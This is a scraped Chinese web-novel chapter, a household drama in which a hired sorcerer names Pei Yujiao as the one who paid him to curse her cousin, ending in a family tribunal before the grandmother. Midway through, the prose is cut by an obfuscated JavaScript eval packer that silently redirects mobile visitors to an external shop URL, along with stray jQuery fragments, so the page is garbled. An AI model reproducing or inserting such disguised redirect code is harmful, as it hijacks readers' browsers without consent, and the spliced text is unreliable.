文趣网 > 其他小说 > 认错梦中夫君后 > 28. 如何处置
    裴行知走进院子,一众奴仆纷纷给他行礼,他看了眼跪在那里,呆呆看着他的姜蕴,微不可察的敛了下眼皮。

    安华郡主看着跟着他进来的那些人,皱眉:“他们是谁?”

    “那些供养‘野佛’的人。”

    赵姨娘一顿,欣喜道:“世子是怎么找到这些人的?”

    将他们这些人审一审,不就可以还蕴儿和玉娇一个清白了么,真是谢天谢地!

    裴行知走到姜蕴身边站定,“这样的事情并非头例,回去翻了翻旧案,才将人捉住了。”

    感受到从裴行知身上传来的热意,姜蕴心脏跳动的飞快,似要跳出喉咙一般。他气息略有些不匀,像是刚从马上下来,不知不觉,她将视线放在了他身上。

    刻意压低的男声从她上方传来。

    “拽我袖子的时候嘴不是挺会说的,现在怎么哑巴了?”

    姜蕴紧张的看他一眼,确认没人听见,才悄然红了脸。

    “我……我正要说。”

    裴行知把她这副惊慌失措的表情尽收眼底,眼底压着些辨不明的情绪,并不明显,语气淡淡。

    “下次遇到这种事情,直接把我供出来就行了。”

    姜蕴细若蚊喃地嗯了一声。

    在心里默默补充,这样的事情最好还是不要有下次了。

    赵姨娘等人与他们站的远,根本听不清两人在说什么,青年表面一派疏淡,光是人高腿长的站在那里,就显得院子都逼仄了两分,带来极强的压迫感。

    赵姨娘连声道:“原来是这样,瞧我一紧张都忘记了,这些事情大理寺应该都是有迹可循的,那……世子你可查出些什么。”

    裴行知道:“让他自己说吧。”

    他甫一说完,身后的两名家奴就把一个瘦成竹竿的人丢在了众人面前。

    麻袋套着他的头,看不清模样。

    但裴玉娇只是看到了他的体型,整个人就不受控制地颤抖起来。

    赵姨娘还以为她是被这等粗暴手段吓到了,贴心地抚着她的背,“没事的,姨娘在这呢。”

    麻袋被家奴掀开,露出一张消瘦马脸,拔出布块,他连忙朝裴行知跪下,“大人,大人!小人知错了,小人再也不敢了,请您开恩!饶过小人这一回吧!”

    “开恩?”裴行知蹲下身,清俊的眉眼冷硬地下压,勾起一个并不像笑的笑容:“本官的妹妹现在被你咒的昏迷不醒,你要是指认不出是谁让你这么做的,那你就可以去死了。”

    “小人不敢!小人不敢!小人记得的,她虽然戴着帷帽,可小人记得清清楚楚,她的裙面上绣着一朵玉兰,大概这么高……”

    马脸男人着急扫视一圈,最后落在赵姨娘的位置,“对,就这么高!”

    裴玉娇的手抖了抖,袖子里的帕子掉了下来,她缓慢去捞,马脸男人立即盯紧了她,激动地站起来,“是她!就是她!世子!那天让我下咒去咒您妹妹的人就是她!!”

    赵姨娘如遭雷击,“你,你胡说八道,怎么可能是我的玉娇?”

    “世子,他一定是在胡说!”

    “我没有胡说,”马脸汉子气得跳脚,脖子憋得通红,“她那日找到我,说她有个仇人想请我作法压一压她的气焰,我还当是女娃之间的小打小闹,想请个不痛不痒的灵,让她那仇人做两日噩梦也就罢了,哪曾想她这个姑娘人不大,心却狠毒的很,直接让我写要命的咒,我哪敢干那勾当,但她直接给了我一大笔银票,我一时鬼迷心窍就答应了,谁知道是国公爷的千金!老天爷,这就是给我一万个胆子,我也不敢去咒她啊!”

    “都是你这个贱人!”

    “不是我……你胡说!”裴玉娇狠狠咬牙:“谁收买的你,是不是她?”

    赵姨娘顺着她的手指一看,对上姜蕴无辜的眼神,心又是一抖,眼泪唰的一下流下。

    她究竟是作了什么孽。

    姜蕴走上前,“姨母……”

    “你再好好看看,是不是她?是她对不对?”

    没有理会裴玉娇,姜蕴眼里也含了泪,“对不起。”

    赵姨娘只觉眼前恍惚,呆呆将她抱进怀里。

    “不怪你,好孩子,都怪姨母……”

    马脸汉子一开始说话还算顾忌,后来见裴玉娇抵死不认也急了,各种粗鄙之语张口就来,大有动手的意思,安华郡主即刻让人将他的嘴堵住,重新套了麻袋丢在一边。

    裴玉娇心里越是心虚,声音就越发大,看到马脸汉子被绑起来,她又要反驳,这时却有另一道男声从旁边传来。

    “七妹妹,你真是糊涂。”

    她一顿,下意识去找人,果然看到裴行远不知什么时候也来了,他走到她面前,将包着冰的布贴在她红肿的左脸上,“都怪那日我提到林……”

    “六哥!”

    裴玉娇一瞬间没有了反驳的力气,她又慌又乱,急的眼泪都出来,“不是我……”

    “没关系,你年纪小,一时糊涂做了错事,还有改过的机会,六哥实在不能看你再这样错下去。”

    裴行远语重心长,欲言又止。

    裴玉娇怔住,像是找到了依靠,倒在裴行远肩膀上哭了出来,“六哥,我,我不是故意的。”

    赵姨娘方才苦口婆心地问她,流泪不止,她不心疼,也没说过一句真话,现在裴行远只是随便说了两句,裴玉娇便认了,赵姨娘一瞬间感觉心寒至极。

    若非此时有姜蕴扶着,她只怕都要站不稳。

    安华郡主拨开人群,冷笑着盯着裴玉娇:“好你个歹毒的姐姐,不知道的还以为玉容对你做了什么不可原谅的事情,说是姐妹,原来是要命的姐妹,我今日非要给玉容讨回公道!”

    裴玉娇立刻躲在了裴行远背后,“大伯母,要不是玉容妹妹平日里总是冤枉我,我也不会对自己的妹妹这样坏,我同玉墨,玉露感情就很好,反倒是玉容妹妹与谁都合不来,您就没想过是她的原因吗……”

    “别说了,玉娇!”

    赵姨娘连说出口的话都有气无力的,她想像从前一样和安华郡主赔礼道歉,安华郡主却猛地冲上来,又给了裴玉娇一巴掌。

    这次没有收力,裴玉娇硬生生被扇倒在地,右边脸瞬间肿起来,她耳朵嗡嗡作响,嘴角渗出鲜血。

    “小贱人,现在你还敢诋毁玉容,我看你就是个坏坯,我今天非得好好教训教训你!”

    安华郡主还欲发难,赵姨娘扑了上去,挡在了裴玉娇面前,泪眼婆娑,“郡主娘娘,求您……”

    “你给我让开!她如今这个德行,你这个当姨娘的也有责任!事到如今,你还护着她就是害了她!”

    赵姨娘手一抖,正红着眼想说话的时候,院子外传来一道声音。

    “郡主娘娘,老太太有请。”

    是老太太的陪嫁丫鬟,齐嬷嬷。

    安华郡主眯起眼,看了一眼赵姨娘,好啊,居然还知道去搬救兵,不过要是她没查出来什么也就罢了,现在让她人赃俱获,便是她今日行为过激了些,娘也说不出什么来。

    “还有各位,也请都去一趟荣安堂,老太太正等着你们呢。”

    ……

    半刻钟后。

    姜蕴第三次进荣安堂。

    这次的事情已经查清与她无关,她便只跟

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555728|202857||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着众人站在后边,最前面坐着老太太,安华郡主,还有国公爷和刚下值的二老爷裴承丰。

    裴玉娇跪在地上,她的脸养的雪白细嫩,两个巴掌印在上面更为明显,她试着去拉赵姨娘的手,却没被搭理,只能看向裴承丰。

    裴承丰的脸色很难看,近日里来圣人卧病,朝中事务繁多,他本就抽不开身,却还要处理这等腌臜事。

    老太太沉默不言,几个做儿子做媳妇的也不敢先开口。

    一时竟没一个发出丁点声音,堂中安静的落针可闻。

    丫鬟们送了茶上来,老太太轻叹一口气,端茶在手里,慢慢开口:“今日之事,我也全部听说了,裴玉娇,你知错了吗?”

    裴玉娇咬唇,“我知道错了。”

    但她一点都不后悔!

    明明这个梁雁婉发现的再晚一点,裴玉容说不定就会死了!哪知道她居然那么快就请了道士来。

    为什么裴玉容总是这么好命?

    为什么同样出身国公府,所有人都在围着她转?

    为什么裴玉容总是要坏她的好事!

    如果不是她把姜蕴介绍给林以芷,以清哥哥也不会注意到她!

    裴承丰竖着眉毛,怒上心头:“我的脸都被你给丢尽了,竟然做出这等令人不齿的事来!”

    裴玉娇嘴角一瘪,哭了出来。

    “哭哭哭,每次有什么事情都让你姨娘在外边给你抗,你就知道哭!我怎么就生出你这么个女儿!”

    “我告诉你,要是玉容有个什么好歹,你也跟着去死!”

    “爹!”

    裴玉娇慌得不行,“爹,我真的知错了,玉容妹妹肯定不会有事的。”

    安华郡主冷哼了一声,“现在知道害怕了,刚才不还嘴硬?”

    “好了好了,都安静。”

    老太太把茶盖上,清脆的一声响,“玉容这次确实是遭罪了,我已经让人去库房里取了几根百年老参去给她补身子,日后要是想要什么,尽可向我开口。”

    裴承丰惭愧道:“娘,是做儿子的不好,哪能让您补偿大房。”

    “我那是关心我孙女,与你们二房无关,你们要想让雁婉和承定原谅,自去请罪。”

    裴承丰脸色顿时讪讪,“是,娘亲,我一定好好给大哥和大嫂赔礼道歉。”

    裴承定眉头皱的死紧,也没应这话,他家容儿被折磨的瘦了一大圈,他看在眼里心疼的厉害,便是亲娘坐在这里,他也和裴承丰演不出兄友弟恭。

    递去的眼神直接被两夫妻无视,裴承丰的脸色顿时又难看了几分,他怒视裴玉娇,“我看你脸上两个巴掌还是打轻了!若非母亲在这儿,我非给你上家法不可!”

    赵姨娘一直老神在在,回不过神,听到上家法,终于动了动唇,裴家的家法不论男女,都是棍刑,裴玉娇怕是两棍都撑不住的,“二老爷……”

    “你也给我闭嘴,养出这么个东西,你也难辞其咎!”

    赵姨娘唇色蓦然苍白。

    若是往常,裴承丰见了她这个模样,指不定气就消了大半,可现在他在这荣安堂,众目睽睽下落了几次面子,心里的火不仅没消,反而越烧越旺,“今日你要为她说一句话,那你就跟着她一起受罚!”

    老太太清声道:“行了,威风逞够了,现在也该我说两句了吧。”

    “母亲这是说的什么话,儿子……”

    “行了,老婆子我实在没有精力同你们在这里掰扯,既然把你们喊来了,你们也愿意给老婆子我一个面子,那这事该如何处理,便都听我的,可有意见?”

    她说出这话,直接看向安华郡主。